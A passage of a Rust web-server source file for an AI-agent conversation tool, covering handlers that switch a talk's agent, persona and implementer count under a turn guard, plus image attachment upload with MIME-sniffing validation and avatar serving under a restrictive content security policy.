9961fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9962    if talk.status.open() {
9963        return Ok(());
9964    }
9965    Err(ApiError::conflict(format!(
9966        "talk {} is {} and takes no more turns",
9967        talk.short(),
9968        talk.status.as_str()
9969    )))
9970}
9971
9972/// The body of `POST /api/talks/{id}/agent`.
9973#[derive(Debug, Deserialize)]
9974struct TalkAgent {
9975    agent: String,
9976}
9977
9978/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9979/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9980/// start a turn on the old session between the check and the write; one that
9981/// arrives in that window finds the talk busy and becomes a draft.
9982async fn talk_agent(
9983    State(ui): State<Arc<Ui>>,
9984    Path(id): Path<String>,
9985    Json(body): Json<TalkAgent>,
9986) -> ApiResult<Json<TalkView>> {
9987    let admission = ui.begin_admission()?;
9988    admitted(admission, async move {
9989        let id = {
9990            let ui = Arc::clone(&ui);
9991            blocking(move || resolve_talk(&ui.talks, &id)).await?
9992        };
9993        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9994            .await
9995            .map_err(ApiError::from)?;
9996        let repo = {
9997            let ui = Arc::clone(&ui);
9998            let id = id.clone();
9999            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10000        };
10001        let cfg = config_for(&repo).await?;
10002        // Refuse before taking the claim; see `talk_implementers`.
10003        {
10004            let ui = Arc::clone(&ui);
10005            let id = id.clone();
10006            let cfg = cfg.clone();
10007            let wanted = body.agent.clone();
10008            blocking(move || {
10009                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10010                    .map_err(ApiError::bad_request_from)?;
10011                refuse_if_closed(&ui.talks.get(&id)?)
10012            })
10013            .await?;
10014        }
10015        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10016            return Err(ApiError::conflict(
10017                "a talk turn is running; change the agent once it has answered",
10018            ));
10019        };
10020        let switched = {
10021            let ui = Arc::clone(&ui);
10022            let id = id.clone();
10023            let cfg = cfg.clone();
10024            blocking(move || {
10025                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10026                    .map_err(ApiError::bad_request_from)?;
10027                let mut talk = ui.talks.get(&id)?;
10028                if !talk.status.open() {
10029                    return Err(ApiError::conflict(format!(
10030                        "talk {} is {} and takes no more turns",
10031                        talk.short(),
10032                        talk.status.as_str()
10033                    )));
10034                }
10035                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10036                Ok(talk)
10037            })
10038            .await
10039        };
10040        // A `/say` that landed while this held the claim saw the talk busy and
10041        // left a durable draft, trusting the claim's owner to drain it. So the
10042        // claim is settled whatever the outcome. Release an empty draft's claim
10043        // before replying; queued drafts continue independently of the handler.
10044        let observed = ui.queued_generation(&id);
10045        let fresh = {
10046            let ui = Arc::clone(&ui);
10047            let id = id.clone();
10048            blocking(move || Ok(ui.talks.get(&id)?)).await
10049        };
10050        let draining = match fresh {
10051            Ok(talk) => {
10052                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10053            }
10054            Err(_) => false,
10055        };
10056        let talk = switched?;
10057        Ok(Json(TalkView::new(talk, draining, &ui)))
10058    })
10059    .await
10060}
10061
10062/// The body of `POST /api/talks/{id}/persona`.
10063#[derive(Debug, Deserialize)]
10064struct TalkPersona {
10065    persona: String,
10066}
10067
10068/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10069/// like [`talk_agent`]: the turn guard is held for the change and always handed
10070/// to `drain_loop`, so a draft left meanwhile is not stranded.
10071async fn talk_persona(
10072    State(ui): State<Arc<Ui>>,
10073    Path(id): Path<String>,
10074    Json(body): Json<TalkPersona>,
10075) -> ApiResult<Json<TalkView>> {
10076    let admission = ui.begin_admission()?;
10077    admitted(admission, async move {
10078        let id = {
10079            let ui = Arc::clone(&ui);
10080            blocking(move || resolve_talk(&ui.talks, &id)).await?
10081        };
10082        let _publication = crate::consult::publication_guard(&ui.talks, &id)
10083            .await
10084            .map_err(ApiError::from)?;
10085        let repo = {
10086            let ui = Arc::clone(&ui);
10087            let id = id.clone();
10088            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10089        };
10090        let cfg = config_for(&repo).await?;
10091        // Refuse before taking the claim; see `talk_implementers`.
10092        {
10093            let ui = Arc::clone(&ui);
10094            let id = id.clone();
10095            let cfg = cfg.clone();
10096            let wanted = body.persona.clone();
10097            blocking(move || {
10098                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10099                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10100                }
10101                refuse_if_closed(&ui.talks.get(&id)?)
10102            })
10103            .await?;
10104        }
10105        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10106            return Err(ApiError::conflict(
10107                "a talk turn is running; change the persona once it has answered",
10108            ));
10109        };
10110        let switched = {
10111            let ui = Arc::clone(&ui);
10112            let id = id.clone();
10113            let cfg = cfg.clone();
10114            blocking(move || {
10115                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10116                    return Err(ApiError::bad_request(format!(
10117                        "unknown persona `{}`",
10118                        body.persona
10119                    )));
10120                };
10121                let mut talk = ui.talks.get(&id)?;
10122                if !talk.status.open() {
10123                    return Err(ApiError::conflict(format!(
10124                        "talk {} is {} and takes no more turns",
10125                        talk.short(),
10126                        talk.status.as_str()
10127                    )));
10128                }
10129                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10130                Ok(talk)
10131            })
10132            .await
10133        };
10134        // As in `talk_agent`: settle the claim before replying, even on refusal.
10135        let observed = ui.queued_generation(&id);
10136        let fresh = {
10137            let ui = Arc::clone(&ui);
10138            let id = id.clone();
10139            blocking(move || Ok(ui.talks.get(&id)?)).await
10140        };
10141        let draining = match fresh {
10142            Ok(talk) => {
10143                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10144            }
10145            Err(_) => false,
10146        };
10147        let talk = switched?;
10148        Ok(Json(TalkView::new(talk, draining, &ui)))
10149    })
10150    .await
10151}
10152
10153/// The body of `POST /api/talks/{id}/implementers`.
10154#[derive(Debug, Deserialize)]
10155struct TalkImplementers {
10156    implementers: u8,
10157}
10158
10159/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10160/// like [`talk_agent`]: the turn guard is held for the change and always handed
10161/// to `drain_loop`, so a draft left meanwhile is not stranded.
10162async fn talk_implementers(
10163    State(ui): State<Arc<Ui>>,
10164    Path(id): Path<String>,
10165    Json(body): Json<TalkImplementers>,
10166) -> ApiResult<Json<TalkView>> {
10167    let admission = ui.begin_admission()?;
10168    admitted(admission, async move {
10169        let id = {
10170            let ui = Arc::clone(&ui);
10171            blocking(move || resolve_talk(&ui.talks, &id)).await?
10172        };
10173        let _publication = crate::consult::publication_guard(&ui.talks, &id)
10174            .await
10175            .map_err(ApiError::from)?;
10176        let repo = {
10177            let ui = Arc::clone(&ui);
10178            let id = id.clone();
10179            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10180        };
10181        let cfg = config_for(&repo).await?;
10182        // Refuse a request that cannot succeed before taking the claim: a claim
10183        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10184        // moment, so a refusal would make the next request see "busy" instead of
10185        // its own answer. The checks after the claim stay the ones that decide.
10186        {
10187            let ui = Arc::clone(&ui);
10188            let id = id.clone();
10189            let cfg = cfg.clone();
10190            let wanted = body.implementers;
10191            blocking(move || {
10192                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10193                refuse_if_closed(&ui.talks.get(&id)?)
10194            })
10195            .await?;
10196        }
10197        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10198            return Err(ApiError::conflict(
10199                "a talk turn is running; change the implementers once it has answered",
10200            ));
10201        };
10202        let switched = {
10203            let ui = Arc::clone(&ui);
10204            let id = id.clone();
10205            let cfg = cfg.clone();
10206            blocking(move || {
10207                let chosen = talk::check_implementers(body.implementers, &cfg)
10208                    .map_err(ApiError::bad_request)?;
10209                let mut talk = ui.talks.get(&id)?;
10210                if !talk.status.open() {
10211                    return Err(ApiError::conflict(format!(
10212                        "talk {} is {} and takes no more turns",
10213                        talk.short(),
10214                        talk.status.as_str()
10215                    )));
10216                }
10217                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10218                Ok(talk)
10219            })
10220            .await
10221        };
10222        // As in `talk_agent`: settle the claim before replying, even on refusal.
10223        let observed = ui.queued_generation(&id);
10224        let fresh = {
10225            let ui = Arc::clone(&ui);
10226            let id = id.clone();
10227            blocking(move || Ok(ui.talks.get(&id)?)).await
10228        };
10229        let draining = match fresh {
10230            Ok(talk) => {
10231                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10232            }
10233            Err(_) => false,
10234        };
10235        let talk = switched?;
10236        Ok(Json(TalkView::new(talk, draining, &ui)))
10237    })
10238    .await
10239}
10240
10241/// `POST /api/talks/{id}/close`.
10242async fn talk_close(
10243    State(ui): State<Arc<Ui>>,
10244    Path(id): Path<String>,
10245) -> ApiResult<Json<TalkView>> {
10246    blocking(move || {
10247        let id = resolve_talk(&ui.talks, &id)?;
10248        let mut talk = ui.talks.get(&id)?;
10249        talk::close(&mut talk, &ui.talks)?;
10250        let thinking = ui.is_thinking(&talk.id);
10251        Ok(Json(TalkView::new(talk, thinking, &ui)))
10252    })
10253    .await
10254}
10255
10256/// `POST /api/talks/{id}/reopen`.
10257async fn talk_reopen(
10258    State(ui): State<Arc<Ui>>,
10259    Path(id): Path<String>,
10260) -> ApiResult<Json<TalkView>> {
10261    blocking(move || {
10262        let id = resolve_talk(&ui.talks, &id)?;
10263        let mut talk = ui.talks.get(&id)?;
10264        talk::reopen(&mut talk, &ui.talks)?;
10265        let thinking = ui.is_thinking(&talk.id);
10266        Ok(Json(TalkView::new(talk, thinking, &ui)))
10267    })
10268    .await
10269}
10270
10271/// `DELETE /api/talks/{id}`.
10272///
10273/// Removes the conversation's record and artifacts outright, unlike
10274/// [`talk_close`] which keeps the record as history. A turn already in
10275/// flight is not refused here the way [`run_delete`] refuses a live run:
10276/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10277/// under [`Talks::guard`], that the record they are about to write back is
10278/// still there, so a delete racing a turn is safe without this route having
10279/// to know a turn is running at all.
10280async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10281    blocking(move || {
10282        let id = resolve_talk(&ui.talks, &id)?;
10283        ui.talks.remove(&id)?;
10284        Ok(StatusCode::NO_CONTENT)
10285    })
10286    .await
10287}
10288
10289fn talk_ids(root: &FsPath) -> Vec<String> {
10290    std::fs::read_dir(root)
10291        .into_iter()
10292        .flatten()
10293        .flatten()
10294        .filter_map(|e| {
10295            let path = e.path();
10296            if path.extension().is_some_and(|ext| ext == "json") {
10297                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10298            } else {
10299                None
10300            }
10301        })
10302        .collect()
10303}
10304
10305/// Expand an id or short id to exactly one talk id.
10306fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10307    if plain_record_id(id) && store.path_of(id).is_file() {
10308        return Ok(id.to_owned());
10309    }
10310    pick(talk_ids(store.root()), id, "talk")
10311}
10312
10313/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10314/// future `talk-say`.
10315async fn talk_attachment_post(
10316    State(ui): State<Arc<Ui>>,
10317    Path(id): Path<String>,
10318    headers: HeaderMap,
10319    body: Bytes,
10320) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10321    let mime = validate_attachment(&headers, &body)?;
10322    let name = filename_header(&headers);
10323    let data = body.to_vec();
10324    blocking(move || {
10325        let id = resolve_talk(&ui.talks, &id)?;
10326        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10327        Ok((StatusCode::CREATED, Json(att)))
10328    })
10329    .await
10330}
10331
10332/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10333/// `<img>` tag in the transcript.
10334async fn talk_attachment_get(
10335    State(ui): State<Arc<Ui>>,
10336    Path((id, att)): Path<(String, String)>,
10337) -> ApiResult<Response> {
10338    blocking(move || {
10339        let id = resolve_talk(&ui.talks, &id)?;
10340        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10341            return Err(ApiError::not_found(format!(
10342                "talk {id} has no attachment `{att}`"
10343            )));
10344        };
10345        Ok(attachment_response(&meta.mime, data))
10346    })
10347    .await
10348}
10349
10350/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10351/// the icon setting, so changing it changes the URL.
10352fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10353    let id = avatar_encode(&p.id);
10354    format!(
10355        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10356        persona_icon::fingerprint(
10357            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10358        )
10359    )
10360}
10361
10362#[derive(Debug, Default, Deserialize)]
10363struct AvatarQuery {
10364    persona: Option<String>,
10365    /// Set by the page after the first load failed: skip the `icon`.
10366    builtin: Option<String>,
10367}
10368
10369/// Served with every built-in avatar: it is an image, so nothing else may run.
10370const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10371
10372fn builtin_avatar(id: &str) -> Response {
10373    svg_avatar(persona_icon::builtin_svg(id))
10374}
10375
10376async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10377    raster_or_builtin(
10378        read_icon_file(&avatar_setting_path(&ui.home, None))
10379            .filter(|_| q.builtin.is_none())
10380            .as_deref(),
10381        persona_icon::operator_svg(),
10382    )
10383}
10384
10385fn svg_avatar(svg: &'static str) -> Response {
10386    (
10387        [
10388            (header::CONTENT_TYPE, "image/svg+xml"),
10389            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10390            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10391            (header::CACHE_CONTROL, "no-cache"),
10392        ],
10393        svg,
10394    )
10395        .into_response()
10396}
10397
10398fn avatar_encode(value: &str) -> String {
10399    value
10400        .bytes()
10401        .map(|b| {
10402            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10403                char::from(b).to_string()
10404            } else {
10405                format!("%{b:02X}")
10406            }
10407        })
10408        .collect()
10409}
10410
10411// Display-only overrides live outside configuration and conversation records.
10412fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10413    let Some(id) = persona else {
10414        return home.join("avatars/operator.data");
10415    };
10416    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10417    let mut path = home.join("avatars/personas");
10418    for chunk in encoded.as_bytes().chunks(100) {
10419        path.push(std::str::from_utf8(chunk).expect("hex"));
10420    }
10421    path.join("icon.data")
10422}
10423
10424fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10425    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10426        Some(value) if value == "builtin" => Some(String::new()),
10427        Some(value) => Some(value),
10428        None => configured.map(str::to_owned),
10429    }
10430}
10431
10432fn operator_icon_url(home: &FsPath) -> String {
10433    format!(
10434        "/avatars/operator.svg?v={}",
10435        persona_icon::fingerprint(
10436            read_icon_file(&avatar_setting_path(home, None))
10437                .as_deref()
10438                .or(Some(persona_icon::operator_svg()))
10439        )
10440    )
10441}
10442
10443fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10444    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10445        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10446            attachment_response(mime, bytes)
10447        }
10448        _ => svg_avatar(builtin),
10449    };
10450    response
10451        .headers_mut()
10452        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10453    response
10454}
10455
10456#[derive(Default, Deserialize)]
10457struct AvatarSettingsQuery {
10458    repo: Option<PathBuf>,
10459    persona: Option<String>,
10460    builtin: Option<String>,
10461    inherit: Option<String>,
10462}
10463
10464fn avatar_settings_specs(
10465    ui: &Ui,
10466    repo: Option<PathBuf>,
10467) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10468    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10469    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10470        .map(|cfg| cfg.talk.personas)
10471        .unwrap_or_default();
10472    Ok((repo, specs))
10473}
10474
10475fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10476    let Ok(entries) = std::fs::read_dir(path) else {
10477        return;
10478    };
10479    for entry in entries.flatten() {
10480        let name = entry.file_name().to_string_lossy().into_owned();
10481        if name == "icon.data" {
10482            let bytes: Option<Vec<u8>> = prefix
10483                .as_bytes()
10484                .chunks(2)
10485                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10486                .collect();
10487            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10488                out.push(id);
10489            }
10490        } else if name.len() <= 100
10491            && !name.is_empty()
10492            && name.bytes().all(|b| b.is_ascii_hexdigit())
10493            && entry.file_type().is_ok_and(|t| t.is_dir())
10494        {
10495            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10496        }
10497    }
10498}
10499
10500async fn avatar_settings_get(
10501    State(ui): State<Arc<Ui>>,
10502    Query(q): Query<AvatarSettingsQuery>,
10503) -> ApiResult<Json<serde_json::Value>> {
10504    blocking(move || {
10505        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10506        let mut catalog = persona::catalog(&specs);
10507        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10508        let mut saved = Vec::new();
10509        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10510        for id in saved {
10511            if !catalog.iter().any(|p| p.id == id) {
10512                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10513            }
10514        }
10515        let personas: Vec<_> = catalog.iter().map(|p| {
10516            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10517            let override_state = match saved.as_deref() {
10518                Some("builtin") => "builtin",
10519                Some(_) => "custom",
10520                None => "inherit",
10521            };
10522            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10523            serde_json::json!({"id":p.id,"name":p.name,
10524                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10525                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10526                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10527        }).collect();
10528        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10529    }).await
10530}
10531
10532async fn settings_persona_avatar(
10533    State(ui): State<Arc<Ui>>,
10534    Query(q): Query<AvatarSettingsQuery>,
10535) -> ApiResult<Response> {
10536    blocking(move || {
10537        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10538        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10539        let found = persona::find(&specs, id);
10540        let icon =
10541            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10542        Ok(raster_or_builtin(
10543            icon.as_deref().filter(|_| q.builtin.is_none()),
10544            persona_icon::builtin_svg(id),
10545        ))
10546    })
10547    .await
10548}
10549
10550fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10551    if q.persona
10552        .as_ref()
10553        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10554    {
10555        return Err(ApiError::bad_request("invalid persona id"));
10556    }
10557    Ok(())
10558}
10559
10560async fn avatar_settings_put(
10561    State(ui): State<Arc<Ui>>,
10562    Query(q): Query<AvatarSettingsQuery>,
10563    Json(upload): Json<MagiIconUpload>,
10564) -> ApiResult<Json<serde_json::Value>> {
10565    blocking(move || {
10566        validate_avatar_target(&q)?;
10567        save_icon_file(
10568            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10569            &upload.icon,
10570        )
10571        .map_err(ApiError::bad_request_from)?;
10572        Ok(Json(serde_json::json!({"saved":true})))
10573    })
10574    .await
10575}
10576
10577async fn avatar_settings_delete(
10578    State(ui): State<Arc<Ui>>,
10579    Query(q): Query<AvatarSettingsQuery>,
10580) -> ApiResult<Json<serde_json::Value>> {
10581    blocking(move || {
10582        validate_avatar_target(&q)?;
10583        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10584        if q.persona.is_some() && q.inherit.is_none() {
10585            atomic_icon_write(&path, "builtin")?;
10586        } else {
10587            match std::fs::remove_file(path) {
10588                Ok(()) => (),
10589                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10590                Err(e) => return Err(anyhow::Error::from(e).into()),
10591            }
10592        }
10593        Ok(Json(serde_json::json!({"saved":true})))
10594    })
10595    .await
10596}
10597
10598// The global MAGI icon is deliberately independent of repository configuration.
10599fn magi_icon_path(home: &FsPath) -> PathBuf {
10600    home.join("magi-icon.data")
10601}
10602
10603fn read_magi_icon(home: &FsPath) -> Option<String> {
10604    read_icon_file(&magi_icon_path(home))
10605}
10606
10607fn read_icon_file(path: &FsPath) -> Option<String> {
10608    let metadata = std::fs::metadata(path).ok()?;
10609    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10610        return None;
10611    }
10612    let file = std::fs::File::open(path).ok()?;
10613    use std::io::Read;
10614    let mut text = String::new();
10615    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10616        .read_to_string(&mut text)
10617        .ok()?;
10618    if text.len() > persona_icon::ICON_MAX_BYTES {
10619        return None;
10620    }
10621    if text == "builtin" {
10622        return Some(text);
10623    }
10624    validate_uploaded_icon(&text).ok()?;
10625    Some(text)
10626}
10627
10628fn magi_icon_url(home: &FsPath) -> String {
10629    format!(
10630        "/avatars/magi?v={}",
10631        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10632    )
10633}
10634
10635async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10636    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10637}
10638
10639#[derive(Deserialize)]
10640struct MagiIconUpload {
10641    icon: String,
10642}
10643
10644fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10645    save_icon_file(&magi_icon_path(home), icon)
10646}
10647
10648fn validate_uploaded_icon(icon: &str) -> Result<()> {
10649    if !icon.starts_with("data:") {
10650        anyhow::bail!("upload a raster image");
10651    }
10652    let (mime, bytes) = persona_icon::load(icon)?;
10653    if sniffed_mime(&bytes) != Some(mime) {
10654        anyhow::bail!("image content does not match its type");
10655    }
10656    Ok(())
10657}
10658
10659fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10660    validate_uploaded_icon(icon)?;
10661    atomic_icon_write(path, icon)
10662}
10663
10664fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10665    let home = path.parent().expect("icon parent");
10666    std::fs::create_dir_all(home)?;
10667    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10668    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10669    let result = (|| -> Result<()> {
10670        use std::io::Write;
10671        let mut file = std::fs::OpenOptions::new()
10672            .write(true)
10673            .create_new(true)
10674            .open(&temp)?;
10675        file.write_all(icon.as_bytes())?;
10676        file.sync_all()?;
10677        std::fs::rename(&temp, path)?;
10678        Ok(())
10679    })();
10680    let _ = std::fs::remove_file(temp);
10681    result?;
10682    Ok(())
10683}
10684
10685async fn magi_icon_put(
10686    State(ui): State<Arc<Ui>>,
10687    Json(upload): Json<MagiIconUpload>,
10688) -> ApiResult<Json<serde_json::Value>> {
10689    blocking(move || {
10690        if !upload.icon.starts_with("data:") {
10691            return Err(ApiError::bad_request("upload a raster image"));
10692        }
10693        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10694        if sniffed_mime(&bytes) != Some(mime) {
10695            return Err(ApiError::bad_request(
10696                "image content does not match its type",
10697            ));
10698        }
10699        save_magi_icon(&ui.home, &upload.icon)?;
10700        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10701    })
10702    .await
10703}
10704
10705async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10706    blocking(move || {
10707        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10708            Ok(()) => (),
10709            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10710            Err(e) => return Err(anyhow::Error::from(e).into()),
10711        }
10712        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10713    })
10714    .await
10715}
10716
10717async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10718    let icon = (q.builtin.is_none())
10719        .then(|| read_magi_icon(&ui.home))
10720        .flatten();
10721    let mut response = match icon
10722        .as_deref()
10723        .and_then(|icon| persona_icon::load(icon).ok())
10724    {
10725        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10726            attachment_response(mime, bytes)
10727        }
10728        _ => svg_avatar(persona_icon::magi_svg()),
10729    };
10730    response
10731        .headers_mut()
10732        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10733    response
10734}
10735
10736/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10737/// operator's raster `icon` when it resolves and its bytes agree with its
10738/// type, the built-in SVG otherwise. Display only; every failure is a warning
10739/// and the built-in avatar, never an error response.
10740async fn talk_avatar(
10741    State(ui): State<Arc<Ui>>,
10742    Path(id): Path<String>,
10743    Query(q): Query<AvatarQuery>,
10744) -> ApiResult<Response> {
10745    blocking(move || {
10746        let id = resolve_talk(&ui.talks, &id)?;
10747        let talk = ui.talks.get(&id)?;
10748        let wanted = q
10749            .persona
10750            .as_deref()
10751            .map(str::trim)
10752            .filter(|p| !p.is_empty())
10753            .unwrap_or(&talk.persona)
10754            .to_owned();
10755        let specs = match Config::discover(&talk.repo, None) {
10756            Ok((cfg, _)) => cfg.talk.personas,
10757            Err(e) => {
10758                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10759                Vec::new()
10760            }
10761        };
10762        let found = persona::find(&specs, &wanted);
10763        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10764        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10765        let icon = effective_persona_icon(
10766            &ui.home,
10767            &wanted,
10768            found.as_ref().and_then(|p| p.icon.as_deref()),
10769        );
10770        if found.is_none() && icon.is_none() {
10771            return Ok(builtin_avatar(persona::DEFAULT_ID));
10772        }
10773        let Some(icon) = icon
10774            .as_deref()
10775            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10776        else {
10777            return Ok(builtin_avatar(&wanted));
10778        };
10779        let Some(found) = found else {
10780            return Ok(raster_or_builtin(
10781                Some(icon),
10782                persona_icon::builtin_svg(&wanted),
10783            ));
10784        };
10785        match persona_icon::load(icon) {
10786            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10787                let mut res = attachment_response(mime, bytes);
10788                res.headers_mut().insert(
10789                    header::CACHE_CONTROL,
10790                    header::HeaderValue::from_static("no-cache"),
10791                );
10792                Ok(res)
10793            }
10794            Ok((mime, _)) => {
10795                tracing::warn!(
10796                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10797                    found.id
10798                );
10799                Ok(builtin_avatar(&found.id))
10800            }
10801            Err(e) => {
10802                tracing::warn!(
10803                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10804                    found.id
10805                );
10806                Ok(builtin_avatar(&found.id))
10807            }
10808        }
10809    })
10810    .await
10811}
10812
10813/// Validate an attachment upload's declared `Content-Type` and the bytes
10814/// themselves, returning the canonical mime on success.
10815///
10816/// Two checks, both required: the header has to name one of
10817/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10818/// simply never in the list, active content rather than a picture, the same
10819/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10820/// magic number has to agree. The second is what stops a mislabeled upload -
10821/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10822/// a declared type is a claim, not a fact, so it is never trusted alone.
10823fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10824    if data.len() > ATTACHMENT_MAX_BYTES {
10825        return Err(ApiError::bad_request(format!(
10826            "attachment is {} bytes, over the {} MiB limit",
10827            data.len(),
10828            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10829        ))
10830        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10831    }
10832    if data.is_empty() {
10833        return Err(ApiError::bad_request("attachment is empty"));
10834    }
10835    let declared = declared_mime(headers)?;
10836    match sniffed_mime(data) {
10837        Some(sniffed) if sniffed == declared => Ok(declared),
10838        Some(sniffed) => Err(ApiError::bad_request(format!(
10839            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10840        ))),
10841        None => Err(ApiError::bad_request(
10842            "the file's bytes do not match any accepted image format",
10843        )),
10844    }
10845}
10846
10847/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10848/// and nothing else - parameters like `; charset=` are stripped, but the
10849/// value itself is not otherwise interpreted.
10850fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10851    let raw = headers
10852        .get(header::CONTENT_TYPE)
10853        .and_then(|v| v.to_str().ok())
10854        .unwrap_or("")
10855        .split(';')
10856        .next()
10857        .unwrap_or("")
10858        .trim()
10859        .to_ascii_lowercase();
10860    ATTACHMENT_MIME_WHITELIST
10861        .iter()
10862        .find(|&&m| m == raw)
10863        .copied()
10864        .ok_or_else(|| {
